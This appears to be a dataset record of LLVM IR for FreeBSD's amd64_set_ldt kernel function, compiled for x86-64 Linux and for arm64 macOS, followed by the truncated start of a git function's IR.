@ENOMEM = dso_local local_unnamed_addr global i32 0, align 4
@ENOSPC = dso_local local_unnamed_addr global i32 0, align 4
; Function Attrs: nounwind uwtable
define dso_local i32 @amd64_set_ldt(ptr noundef %0, ptr nocapture noundef %1, ptr noundef %2) local_unnamed_addr #0 {
%4 = getelementptr inbounds %struct.thread, ptr %0, i64 0, i32 1
%5 = load ptr, ptr %4, align 8, !tbaa !5
%6 = getelementptr inbounds %struct.thread, ptr %0, i64 0, i32 2
%7 = load i32, ptr %6, align 8, !tbaa !11
%8 = load i32, ptr @PCB_FULL_IRET, align 4, !tbaa !12
%9 = tail call i32 @set_pcb_flags(i32 noundef %7, i32 noundef %8) #3
%10 = load ptr, ptr %4, align 8, !tbaa !5
%11 = icmp eq ptr %2, null
%12 = load i32, ptr %1, align 8, !tbaa !13
br i1 %11, label %13, label %86
13: ; preds = %3
%14 = icmp eq i32 %12, 0
%15 = getelementptr inbounds %struct.i386_ldt_args, ptr %1, i64 0, i32 1
%16 = load i32, ptr %15, align 4, !tbaa !16
br i1 %14, label %17, label %22
17: ; preds = %13
%18 = icmp eq i32 %16, 0
br i1 %18, label %19, label %27
19: ; preds = %17
%20 = load i64, ptr @max_ldt_segment, align 8, !tbaa !17
%21 = trunc i64 %20 to i32
store i32 %21, ptr %15, align 4, !tbaa !16
br label %22
22: ; preds = %13, %19
%23 = phi i32 [ %21, %19 ], [ %16, %13 ]
%24 = icmp eq i32 %23, 0
br i1 %24, label %25, label %27
25: ; preds = %22
%26 = load i32, ptr @EINVAL, align 4, !tbaa !12
br label %205
27: ; preds = %17, %22
%28 = phi i32 [ %23, %22 ], [ %16, %17 ]
%29 = load ptr, ptr %5, align 8, !tbaa !18
%30 = icmp eq ptr %29, null
br i1 %30, label %205, label %31
31: ; preds = %27
%32 = sext i32 %12 to i64
%33 = load i64, ptr @max_ldt_segment, align 8, !tbaa !17
%34 = icmp ugt i64 %33, %32
br i1 %34, label %35, label %205
35: ; preds = %31
%36 = add nsw i32 %28, %12
%37 = sext i32 %36 to i64
%38 = tail call i64 @llvm.umin.i64(i64 %33, i64 %37)
%39 = icmp ult i32 %36, %12
br i1 %39, label %40, label %42
40: ; preds = %35
%41 = load i32, ptr @EINVAL, align 4, !tbaa !12
br label %205
42: ; preds = %35
%43 = tail call i32 @mtx_lock(ptr noundef nonnull @dt_lock) #3
%44 = load i32, ptr %1, align 8, !tbaa !13
%45 = sext i32 %44 to i64
%46 = icmp ugt i64 %38, %45
br i1 %46, label %47, label %84
47: ; preds = %42
%48 = sub i64 %38, %45
%49 = freeze i64 %48
%50 = add i64 %49, -1
%51 = and i64 %49, 3
%52 = icmp eq i64 %51, 0
br i1 %52, label %62, label %53
53: ; preds = %47, %53
%54 = phi i64 [ %59, %53 ], [ %45, %47 ]
%55 = phi i64 [ %60, %53 ], [ 0, %47 ]
%56 = load i64, ptr %29, align 8, !tbaa !20
%57 = inttoptr i64 %56 to ptr
%58 = getelementptr inbounds i64, ptr %57, i64 %54
store volatile i64 0, ptr %58, align 8, !tbaa !17
%59 = add i64 %54, 1
%60 = add i64 %55, 1
%61 = icmp eq i64 %60, %51
br i1 %61, label %62, label %53, !llvm.loop !22
62: ; preds = %53, %47
%63 = phi i64 [ %45, %47 ], [ %59, %53 ]
%64 = icmp ult i64 %50, 3
br i1 %64, label %84, label %65
65: ; preds = %62, %65
%66 = phi i64 [ %82, %65 ], [ %63, %62 ]
%67 = load i64, ptr %29, align 8, !tbaa !20
%68 = inttoptr i64 %67 to ptr
%69 = getelementptr inbounds i64, ptr %68, i64 %66
store volatile i64 0, ptr %69, align 8, !tbaa !17
%70 = load i64, ptr %29, align 8, !tbaa !20
%71 = inttoptr i64 %70 to ptr
%72 = getelementptr i64, ptr %71, i64 %66
%73 = getelementptr i64, ptr %72, i64 1
store volatile i64 0, ptr %73, align 8, !tbaa !17
%74 = load i64, ptr %29, align 8, !tbaa !20
%75 = inttoptr i64 %74 to ptr
%76 = getelementptr i64, ptr %75, i64 %66
%77 = getelementptr i64, ptr %76, i64 2
store volatile i64 0, ptr %77, align 8, !tbaa !17
%78 = load i64, ptr %29, align 8, !tbaa !20
%79 = inttoptr i64 %78 to ptr
%80 = getelementptr i64, ptr %79, i64 %66
%81 = getelementptr i64, ptr %80, i64 3
store volatile i64 0, ptr %81, align 8, !tbaa !17
%82 = add i64 %66, 4
%83 = icmp eq i64 %82, %38
br i1 %83, label %84, label %65, !llvm.loop !24
84: ; preds = %62, %65, %42
%85 = tail call i32 @mtx_unlock(ptr noundef nonnull @dt_lock) #3
br label %205
86: ; preds = %3
%87 = sext i32 %12 to i64
%88 = load i64, ptr @LDT_AUTO_ALLOC, align 8, !tbaa !17
%89 = icmp eq i64 %88, %87
%90 = getelementptr inbounds %struct.i386_ldt_args, ptr %1, i64 0, i32 1
%91 = load i32, ptr %90, align 4, !tbaa !16
%92 = icmp eq i32 %91, 1
%93 = select i1 %89, i1 %92, i1 false
br i1 %93, label %94, label %96
94: ; preds = %86
%95 = getelementptr inbounds %struct.i386_ldt_args, ptr %1, i64 0, i32 1
br label %111
96: ; preds = %86
%97 = add nsw i32 %91, %12
%98 = load i64, ptr @max_ldt_segment, align 8, !tbaa !17
%99 = icmp ule i64 %98, %87
%100 = sext i32 %97 to i64
%101 = icmp ult i64 %98, %100
%102 = select i1 %99, i1 true, i1 %101
%103 = icmp ult i32 %97, %12
%104 = select i1 %102, i1 true, i1 %103
br i1 %104, label %105, label %107
105: ; preds = %96
%106 = load i32, ptr @EINVAL, align 4, !tbaa !12
br label %205
107: ; preds = %96
%108 = getelementptr inbounds %struct.i386_ldt_args, ptr %1, i64 0, i32 1
%109 = sext i32 %91 to i64
%110 = icmp eq i32 %91, 0
br i1 %110, label %179, label %111
111: ; preds = %94, %107
%112 = phi i64 [ 1, %94 ], [ %109, %107 ]
%113 = phi ptr [ %95, %94 ], [ %108, %107 ]
%114 = phi i32 [ 1, %94 ], [ %91, %107 ]
br label %115
115: ; preds = %111, %142
%116 = phi i64 [ %143, %142 ], [ 0, %111 ]
%117 = getelementptr inbounds %struct.user_segment_descriptor, ptr %2, i64 %116
%118 = load i32, ptr %117, align 8, !tbaa !26
switch i32 %118, label %129 [
i32 134, label %119
i32 139, label %121
i32 135, label %121
i32 143, label %121
i32 142, label %121
i32 130, label %121
i32 141, label %121
i32 140, label %121
i32 133, label %121
i32 128, label %121
i32 132, label %121
i32 138, label %121
i32 137, label %121
i32 131, label %121
i32 136, label %121
i32 129, label %121
i32 156, label %123
i32 157, label %123
i32 152, label %123
i32 153, label %123
i32 151, label %131
i32 150, label %131
i32 147, label %131
i32 146, label %131
i32 149, label %131
i32 148, label %131
i32 145, label %131
i32 144, label %131
i32 159, label %131
i32 158, label %131
i32 155, label %131
i32 154, label %131
]
119: ; preds = %115
%120 = getelementptr inbounds %struct.user_segment_descriptor, ptr %2, i64 %116, i32 1
store i64 0, ptr %120, align 8, !tbaa !28
br label %131
121: ; preds = %115, %115, %115, %115, %115, %115, %115, %115, %115, %115, %115, %115, %115, %115, %115
%122 = load i32, ptr @EACCES, align 4, !tbaa !12
br label %205
123: ; preds = %115, %115, %115, %115
%124 = getelementptr inbounds %struct.user_segment_descriptor, ptr %2, i64 %116, i32 1
%125 = load i64, ptr %124, align 8, !tbaa !28
%126 = icmp eq i64 %125, 0
br i1 %126, label %127, label %131
127: ; preds = %123
%128 = load i32, ptr @EACCES, align 4, !tbaa !12
br label %205
129: ; preds = %115
%130 = load i32, ptr @EINVAL, align 4, !tbaa !12
br label %205
131: ; preds = %115, %115, %115, %115, %115, %115, %115, %115, %115, %115, %115, %115, %123, %119
%132 = getelementptr inbounds %struct.user_segment_descriptor, ptr %2, i64 %116, i32 1
%133 = load i64, ptr %132, align 8, !tbaa !28
%134 = icmp eq i64 %133, 0
br i1 %134, label %142, label %135
135: ; preds = %131
%136 = getelementptr inbounds %struct.user_segment_descriptor, ptr %2, i64 %116, i32 2
%137 = load i64, ptr %136, align 8, !tbaa !29
%138 = load i64, ptr @SEL_UPL, align 8, !tbaa !17
%139 = icmp eq i64 %137, %138
br i1 %139, label %142, label %140
140: ; preds = %135
%141 = load i32, ptr @EACCES, align 4, !tbaa !12
br label %205
142: ; preds = %131, %135
%143 = add nuw i64 %116, 1
%144 = icmp eq i64 %143, %112
br i1 %144, label %145, label %115, !llvm.loop !30
145: ; preds = %142
%146 = load i64, ptr @LDT_AUTO_ALLOC, align 8, !tbaa !17
%147 = icmp eq i64 %146, %87
%148 = icmp eq i32 %114, 1
%149 = and i1 %148, %147
br i1 %149, label %150, label %179
150: ; preds = %145
%151 = tail call i32 @mtx_lock(ptr noundef nonnull @dt_lock) #3
%152 = tail call ptr @user_ldt_alloc(ptr noundef %10, i32 noundef 0) #3
%153 = icmp eq ptr %152, null
br i1 %153, label %154, label %157
154: ; preds = %150
%155 = tail call i32 @mtx_unlock(ptr noundef nonnull @dt_lock) #3
%156 = load i32, ptr @ENOMEM, align 4, !tbaa !12
br label %205
157: ; preds = %150
%158 = load i64, ptr @max_ldt_segment, align 8, !tbaa !17
%159 = icmp ugt i64 %158, 16
br i1 %159, label %160, label %173
160: ; preds = %157
%161 = load i64, ptr %152, align 8, !tbaa !20
%162 = inttoptr i64 %161 to ptr
%163 = getelementptr inbounds %struct.user_segment_descriptor, ptr %162, i64 16
br label %164
164: ; preds = %160, %169
%165 = phi i64 [ %170, %169 ], [ 16, %160 ]
%166 = phi ptr [ %171, %169 ], [ %163, %160 ]
%167 = load i32, ptr %166, align 8, !tbaa !26
%168 = icmp eq i32 %167, 134
br i1 %168, label %176, label %169
169: ; preds = %164
%170 = add nuw i64 %165, 1
%171 = getelementptr inbounds %struct.user_segment_descriptor, ptr %166, i64 1
%172 = icmp eq i64 %170, %158
br i1 %172, label %173, label %164, !llvm.loop !31
173: ; preds = %169, %157
%174 = tail call i32 @mtx_unlock(ptr noundef nonnull @dt_lock) #3
%175 = load i32, ptr @ENOSPC, align 4, !tbaa !12
br label %205
176: ; preds = %164
%177 = trunc i64 %165 to i32
store i32 %177, ptr %1, align 8, !tbaa !13
%178 = tail call i32 @amd64_set_ldt_data(ptr noundef %0, i64 noundef %165, i32 noundef 1, ptr noundef nonnull %2) #3
br label %197
179: ; preds = %107, %145
%180 = phi i32 [ %114, %145 ], [ 0, %107 ]
%181 = phi ptr [ %113, %145 ], [ %108, %107 ]
%182 = add nsw i32 %180, %12
%183 = sext i32 %182 to i64
%184 = load i64, ptr @max_ldt_segment, align 8, !tbaa !17
%185 = icmp ult i64 %184, %183
br i1 %185, label %186, label %188
186: ; preds = %179
%187 = load i32, ptr @EINVAL, align 4, !tbaa !12
br label %205
188: ; preds = %179
%189 = tail call i32 @mtx_lock(ptr noundef nonnull @dt_lock) #3
%190 = tail call ptr @user_ldt_alloc(ptr noundef %10, i32 noundef 0) #3
%191 = icmp eq ptr %190, null
br i1 %191, label %197, label %192
192: ; preds = %188
%193 = load i32, ptr %1, align 8, !tbaa !13
%194 = sext i32 %193 to i64
%195 = load i32, ptr %181, align 4, !tbaa !16
%196 = tail call i32 @amd64_set_ldt_data(ptr noundef %0, i64 noundef %194, i32 noundef %195, ptr noundef nonnull %2) #3
br label %197
197: ; preds = %188, %192, %176
%198 = phi i32 [ %178, %176 ], [ %196, %192 ], [ 0, %188 ]
%199 = tail call i32 @mtx_unlock(ptr noundef nonnull @dt_lock) #3
%200 = icmp eq i32 %198, 0
br i1 %200, label %201, label %205
201: ; preds = %197
%202 = load i32, ptr %1, align 8, !tbaa !13
%203 = sext i32 %202 to i64
%204 = load ptr, ptr %0, align 8, !tbaa !32
store i64 %203, ptr %204, align 8, !tbaa !17
br label %205
205: ; preds = %197, %201, %27, %31, %186, %173, %154, %140, %129, %127, %121, %105, %84, %40, %25
%206 = phi i32 [ %26, %25 ], [ %41, %40 ], [ 0, %84 ], [ %130, %129 ], [ %141, %140 ], [ %128, %127 ], [ %122, %121 ], [ %156, %154 ], [ %175, %173 ], [ %187, %186 ], [ %106, %105 ], [ 0, %31 ], [ 0, %27 ], [ 0, %201 ], [ %198, %197 ]
ret i32 %206
}
declare i32 @set_pcb_flags(i32 noundef, i32 noundef) local_unnamed_addr #1
declare i32 @mtx_lock(ptr noundef) local_unnamed_addr #1
declare i32 @mtx_unlock(ptr noundef) local_unnamed_addr #1
declare ptr @user_ldt_alloc(ptr noundef, i32 noundef) local_unnamed_addr #1
declare i32 @amd64_set_ldt_data(ptr noundef, i64 noundef, i32 noundef, ptr noundef) local_unnamed_addr #1
; Function Attrs: nocallback nofree nosync nounwind speculatable willreturn memory(none)
declare i64 @llvm.umin.i64(i64, i64) #2
attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { nocallback nofree nosync nounwind speculatable willreturn memory(none) }
attributes #3 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3}
!llvm.ident = !{!4}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"}
!5 = !{!6, !7, i64 8}
!6 = !{!"thread", !7, i64 0, !7, i64 8, !10, i64 16}
!7 = !{!"any pointer", !8, i64 0}
!8 = !{!"omnipotent char", !9, i64 0}
!9 = !{!"Simple C/C++ TBAA"}
!10 = !{!"int", !8, i64 0}
!11 = !{!6, !10, i64 16}
!12 = !{!10, !10, i64 0}
!13 = !{!14, !10, i64 0}
!14 = !{!"i386_ldt_args", !10, i64 0, !10, i64 4, !15, i64 8}
!15 = !{!"long", !8, i64 0}
!16 = !{!14, !10, i64 4}
!17 = !{!15, !15, i64 0}
!18 = !{!19, !7, i64 0}
!19 = !{!"mdproc", !7, i64 0}
!20 = !{!21, !15, i64 0}
!21 = !{!"proc_ldt", !15, i64 0}
!22 = distinct !{!22, !23}
!23 = !{!"llvm.loop.unroll.disable"}
!24 = distinct !{!24, !25}
!25 = !{!"llvm.loop.mustprogress"}
!26 = !{!27, !10, i64 0}
!27 = !{!"user_segment_descriptor", !10, i64 0, !15, i64 8, !15, i64 16}
!28 = !{!27, !15, i64 8}
!29 = !{!27, !15, i64 16}
!30 = distinct !{!30, !25}
!31 = distinct !{!31, !25}
!32 = !{!6, !7, i64 0}
| ; ModuleID = 'AnghaBench/freebsd/sys/amd64/amd64/extr_sys_machdep.c_amd64_set_ldt.c'
source_filename = "AnghaBench/freebsd/sys/amd64/amd64/extr_sys_machdep.c_amd64_set_ldt.c"
target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32"
target triple = "arm64-apple-macosx15.0.0"
%struct.user_segment_descriptor = type { i32, i64, i64 }
@PCB_FULL_IRET = common local_unnamed_addr global i32 0, align 4
@max_ldt_segment = common local_unnamed_addr global i64 0, align 8
@EINVAL = common local_unnamed_addr global i32 0, align 4
@dt_lock = common global i32 0, align 4
@LDT_AUTO_ALLOC = common local_unnamed_addr global i64 0, align 8
@EACCES = common local_unnamed_addr global i32 0, align 4
@SEL_UPL = common local_unnamed_addr global i64 0, align 8
@ENOMEM = common local_unnamed_addr global i32 0, align 4
@ENOSPC = common local_unnamed_addr global i32 0, align 4
; Function Attrs: nounwind ssp uwtable(sync)
define i32 @amd64_set_ldt(ptr noundef %0, ptr nocapture noundef %1, ptr noundef %2) local_unnamed_addr #0 {
%4 = getelementptr inbounds i8, ptr %0, i64 8
%5 = load ptr, ptr %4, align 8, !tbaa !6
%6 = getelementptr inbounds i8, ptr %0, i64 16
%7 = load i32, ptr %6, align 8, !tbaa !12
%8 = load i32, ptr @PCB_FULL_IRET, align 4, !tbaa !13
%9 = tail call i32 @set_pcb_flags(i32 noundef %7, i32 noundef %8) #3
%10 = load ptr, ptr %4, align 8, !tbaa !6
%11 = icmp eq ptr %2, null
%12 = load i32, ptr %1, align 8, !tbaa !14
br i1 %11, label %13, label %56
13: ; preds = %3
%14 = icmp eq i32 %12, 0
%15 = getelementptr inbounds i8, ptr %1, i64 4
%16 = load i32, ptr %15, align 4, !tbaa !17
br i1 %14, label %17, label %22
17: ; preds = %13
%18 = icmp eq i32 %16, 0
br i1 %18, label %19, label %27
19: ; preds = %17
%20 = load i64, ptr @max_ldt_segment, align 8, !tbaa !18
%21 = trunc i64 %20 to i32
store i32 %21, ptr %15, align 4, !tbaa !17
br label %22
22: ; preds = %13, %19
%23 = phi i32 [ %21, %19 ], [ %16, %13 ]
%24 = icmp eq i32 %23, 0
br i1 %24, label %25, label %27
25: ; preds = %22
%26 = load i32, ptr @EINVAL, align 4, !tbaa !13
br label %170
27: ; preds = %17, %22
%28 = phi i32 [ %23, %22 ], [ %16, %17 ]
%29 = load ptr, ptr %5, align 8, !tbaa !19
%30 = icmp eq ptr %29, null
br i1 %30, label %170, label %31
31: ; preds = %27
%32 = sext i32 %12 to i64
%33 = load i64, ptr @max_ldt_segment, align 8, !tbaa !18
%34 = icmp ugt i64 %33, %32
br i1 %34, label %35, label %170
35: ; preds = %31
%36 = add nsw i32 %28, %12
%37 = sext i32 %36 to i64
%38 = tail call i64 @llvm.umin.i64(i64 %33, i64 %37)
%39 = icmp ult i32 %36, %12
br i1 %39, label %40, label %42
40: ; preds = %35
%41 = load i32, ptr @EINVAL, align 4, !tbaa !13
br label %170
42: ; preds = %35
%43 = tail call i32 @mtx_lock(ptr noundef nonnull @dt_lock) #3
%44 = load i32, ptr %1, align 8, !tbaa !14
%45 = sext i32 %44 to i64
%46 = icmp ugt i64 %38, %45
br i1 %46, label %47, label %54
47: ; preds = %42, %47
%48 = phi i64 [ %52, %47 ], [ %45, %42 ]
%49 = load i64, ptr %29, align 8, !tbaa !21
%50 = inttoptr i64 %49 to ptr
%51 = getelementptr inbounds i64, ptr %50, i64 %48
store volatile i64 0, ptr %51, align 8, !tbaa !18
%52 = add i64 %48, 1
%53 = icmp eq i64 %52, %38
br i1 %53, label %54, label %47, !llvm.loop !23
54: ; preds = %47, %42
%55 = tail call i32 @mtx_unlock(ptr noundef nonnull @dt_lock) #3
br label %170
56: ; preds = %3
%57 = sext i32 %12 to i64
%58 = load i64, ptr @LDT_AUTO_ALLOC, align 8, !tbaa !18
%59 = icmp eq i64 %58, %57
%60 = getelementptr inbounds i8, ptr %1, i64 4
%61 = load i32, ptr %60, align 4, !tbaa !17
%62 = icmp eq i32 %61, 1
%63 = select i1 %59, i1 %62, i1 false
br i1 %63, label %78, label %64
64: ; preds = %56
%65 = add nsw i32 %61, %12
%66 = load i64, ptr @max_ldt_segment, align 8, !tbaa !18
%67 = icmp ule i64 %66, %57
%68 = sext i32 %65 to i64
%69 = icmp ult i64 %66, %68
%70 = icmp ult i32 %65, %12
%71 = or i1 %70, %69
%72 = select i1 %67, i1 true, i1 %71
br i1 %72, label %73, label %75
73: ; preds = %64
%74 = load i32, ptr @EINVAL, align 4, !tbaa !13
br label %170
75: ; preds = %64
%76 = sext i32 %61 to i64
%77 = icmp eq i32 %61, 0
br i1 %77, label %145, label %78
78: ; preds = %56, %75
%79 = phi i64 [ %76, %75 ], [ 1, %56 ]
%80 = phi i32 [ %61, %75 ], [ 1, %56 ]
br label %81
81: ; preds = %78, %108
%82 = phi i64 [ %109, %108 ], [ 0, %78 ]
%83 = getelementptr inbounds %struct.user_segment_descriptor, ptr %2, i64 %82
%84 = load i32, ptr %83, align 8, !tbaa !25
switch i32 %84, label %95 [
i32 134, label %85
i32 139, label %87
i32 135, label %87
i32 143, label %87
i32 142, label %87
i32 130, label %87
i32 141, label %87
i32 140, label %87
i32 133, label %87
i32 128, label %87
i32 132, label %87
i32 138, label %87
i32 137, label %87
i32 131, label %87
i32 136, label %87
i32 129, label %87
i32 156, label %89
i32 157, label %89
i32 152, label %89
i32 153, label %89
i32 151, label %97
i32 150, label %97
i32 147, label %97
i32 146, label %97
i32 149, label %97
i32 148, label %97
i32 145, label %97
i32 144, label %97
i32 159, label %97
i32 158, label %97
i32 155, label %97
i32 154, label %97
]
85: ; preds = %81
%86 = getelementptr inbounds i8, ptr %83, i64 8
store i64 0, ptr %86, align 8, !tbaa !27
br label %97
87: ; preds = %81, %81, %81, %81, %81, %81, %81, %81, %81, %81, %81, %81, %81, %81, %81
%88 = load i32, ptr @EACCES, align 4, !tbaa !13
br label %170
89: ; preds = %81, %81, %81, %81
%90 = getelementptr inbounds i8, ptr %83, i64 8
%91 = load i64, ptr %90, align 8, !tbaa !27
%92 = icmp eq i64 %91, 0
br i1 %92, label %93, label %97
93: ; preds = %89
%94 = load i32, ptr @EACCES, align 4, !tbaa !13
br label %170
95: ; preds = %81
%96 = load i32, ptr @EINVAL, align 4, !tbaa !13
br label %170
97: ; preds = %81, %81, %81, %81, %81, %81, %81, %81, %81, %81, %81, %81, %89, %85
%98 = getelementptr inbounds i8, ptr %83, i64 8
%99 = load i64, ptr %98, align 8, !tbaa !27
%100 = icmp eq i64 %99, 0
br i1 %100, label %108, label %101
101: ; preds = %97
%102 = getelementptr inbounds i8, ptr %83, i64 16
%103 = load i64, ptr %102, align 8, !tbaa !28
%104 = load i64, ptr @SEL_UPL, align 8, !tbaa !18
%105 = icmp eq i64 %103, %104
br i1 %105, label %108, label %106
106: ; preds = %101
%107 = load i32, ptr @EACCES, align 4, !tbaa !13
br label %170
108: ; preds = %97, %101
%109 = add nuw i64 %82, 1
%110 = icmp eq i64 %109, %79
br i1 %110, label %111, label %81, !llvm.loop !29
111: ; preds = %108
%112 = load i64, ptr @LDT_AUTO_ALLOC, align 8, !tbaa !18
%113 = icmp eq i64 %112, %57
%114 = icmp eq i32 %80, 1
%115 = and i1 %114, %113
br i1 %115, label %116, label %145
116: ; preds = %111
%117 = tail call i32 @mtx_lock(ptr noundef nonnull @dt_lock) #3
%118 = tail call ptr @user_ldt_alloc(ptr noundef %10, i32 noundef 0) #3
%119 = icmp eq ptr %118, null
br i1 %119, label %120, label %123
120: ; preds = %116
%121 = tail call i32 @mtx_unlock(ptr noundef nonnull @dt_lock) #3
%122 = load i32, ptr @ENOMEM, align 4, !tbaa !13
br label %170
123: ; preds = %116
%124 = load i64, ptr @max_ldt_segment, align 8, !tbaa !18
%125 = icmp ugt i64 %124, 16
br i1 %125, label %126, label %139
126: ; preds = %123
%127 = load i64, ptr %118, align 8, !tbaa !21
%128 = inttoptr i64 %127 to ptr
%129 = getelementptr inbounds i8, ptr %128, i64 384
br label %130
130: ; preds = %126, %135
%131 = phi i64 [ %136, %135 ], [ 16, %126 ]
%132 = phi ptr [ %137, %135 ], [ %129, %126 ]
%133 = load i32, ptr %132, align 8, !tbaa !25
%134 = icmp eq i32 %133, 134
br i1 %134, label %142, label %135
135: ; preds = %130
%136 = add nuw i64 %131, 1
%137 = getelementptr inbounds i8, ptr %132, i64 24
%138 = icmp eq i64 %136, %124
br i1 %138, label %139, label %130, !llvm.loop !30
139: ; preds = %135, %123
%140 = tail call i32 @mtx_unlock(ptr noundef nonnull @dt_lock) #3
%141 = load i32, ptr @ENOSPC, align 4, !tbaa !13
br label %170
142: ; preds = %130
%143 = trunc i64 %131 to i32
store i32 %143, ptr %1, align 8, !tbaa !14
%144 = tail call i32 @amd64_set_ldt_data(ptr noundef %0, i64 noundef %131, i32 noundef 1, ptr noundef nonnull %2) #3
br label %162
145: ; preds = %75, %111
%146 = phi i32 [ %80, %111 ], [ 0, %75 ]
%147 = add nsw i32 %146, %12
%148 = sext i32 %147 to i64
%149 = load i64, ptr @max_ldt_segment, align 8, !tbaa !18
%150 = icmp ult i64 %149, %148
br i1 %150, label %151, label %153
151: ; preds = %145
%152 = load i32, ptr @EINVAL, align 4, !tbaa !13
br label %170
153: ; preds = %145
%154 = tail call i32 @mtx_lock(ptr noundef nonnull @dt_lock) #3
%155 = tail call ptr @user_ldt_alloc(ptr noundef %10, i32 noundef 0) #3
%156 = icmp eq ptr %155, null
br i1 %156, label %162, label %157
157: ; preds = %153
%158 = load i32, ptr %1, align 8, !tbaa !14
%159 = sext i32 %158 to i64
%160 = load i32, ptr %60, align 4, !tbaa !17
%161 = tail call i32 @amd64_set_ldt_data(ptr noundef %0, i64 noundef %159, i32 noundef %160, ptr noundef nonnull %2) #3
br label %162
162: ; preds = %153, %157, %142
%163 = phi i32 [ %144, %142 ], [ %161, %157 ], [ 0, %153 ]
%164 = tail call i32 @mtx_unlock(ptr noundef nonnull @dt_lock) #3
%165 = icmp eq i32 %163, 0
br i1 %165, label %166, label %170
166: ; preds = %162
%167 = load i32, ptr %1, align 8, !tbaa !14
%168 = sext i32 %167 to i64
%169 = load ptr, ptr %0, align 8, !tbaa !31
store i64 %168, ptr %169, align 8, !tbaa !18
br label %170
170: ; preds = %162, %166, %27, %31, %151, %139, %120, %106, %95, %93, %87, %73, %54, %40, %25
%171 = phi i32 [ %26, %25 ], [ %41, %40 ], [ 0, %54 ], [ %96, %95 ], [ %107, %106 ], [ %94, %93 ], [ %88, %87 ], [ %122, %120 ], [ %141, %139 ], [ %152, %151 ], [ %74, %73 ], [ 0, %31 ], [ 0, %27 ], [ 0, %166 ], [ %163, %162 ]
ret i32 %171
}
declare i32 @set_pcb_flags(i32 noundef, i32 noundef) local_unnamed_addr #1
declare i32 @mtx_lock(ptr noundef) local_unnamed_addr #1
declare i32 @mtx_unlock(ptr noundef) local_unnamed_addr #1
declare ptr @user_ldt_alloc(ptr noundef, i32 noundef) local_unnamed_addr #1
declare i32 @amd64_set_ldt_data(ptr noundef, i64 noundef, i32 noundef, ptr noundef) local_unnamed_addr #1
; Function Attrs: nocallback nofree nosync nounwind speculatable willreturn memory(none)
declare i64 @llvm.umin.i64(i64, i64) #2
attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #2 = { nocallback nofree nosync nounwind speculatable willreturn memory(none) }
attributes #3 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]}
!1 = !{i32 1, !"wchar_size", i32 4}
!2 = !{i32 8, !"PIC Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 1}
!4 = !{i32 7, !"frame-pointer", i32 1}
!5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"}
!6 = !{!7, !8, i64 8}
!7 = !{!"thread", !8, i64 0, !8, i64 8, !11, i64 16}
!8 = !{!"any pointer", !9, i64 0}
!9 = !{!"omnipotent char", !10, i64 0}
!10 = !{!"Simple C/C++ TBAA"}
!11 = !{!"int", !9, i64 0}
!12 = !{!7, !11, i64 16}
!13 = !{!11, !11, i64 0}
!14 = !{!15, !11, i64 0}
!15 = !{!"i386_ldt_args", !11, i64 0, !11, i64 4, !16, i64 8}
!16 = !{!"long", !9, i64 0}
!17 = !{!15, !11, i64 4}
!18 = !{!16, !16, i64 0}
!19 = !{!20, !8, i64 0}
!20 = !{!"mdproc", !8, i64 0}
!21 = !{!22, !16, i64 0}
!22 = !{!"proc_ldt", !16, i64 0}
!23 = distinct !{!23, !24}
!24 = !{!"llvm.loop.mustprogress"}
!25 = !{!26, !11, i64 0}
!26 = !{!"user_segment_descriptor", !11, i64 0, !16, i64 8, !16, i64 16}
!27 = !{!26, !16, i64 8}
!28 = !{!26, !16, i64 16}
!29 = distinct !{!29, !24}
!30 = distinct !{!30, !24}
!31 = !{!7, !8, i64 0}
| freebsd_sys_amd64_amd64_extr_sys_machdep.c_amd64_set_ldt |
; ModuleID = 'AnghaBench/git/extr_pack-bitmap-write.c_add_to_include_set.c'
source_filename = "AnghaBench/git/extr_pack-bitmap-write.c_add_to_include_set.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128"
target triple = "x86_64-unknown-linux-gnu"
%struct.TYPE_4__ = type { i32 }
@writer = dso_local local_unnamed_addr global %struct.TYPE_4__ zeroinitializer, align 4
@llvm.compiler.used = appending global [1 x ptr] [ptr @add_to_include_set], section "llvm.metadata"
; Function Attrs: nounwind uwtable
define internal noundef i32 @add_to_include_set(ptr noundef %0, ptr noundef %1) #0 {
%3 = tail call i32 @find_object_pos(ptr noundef %1) #2
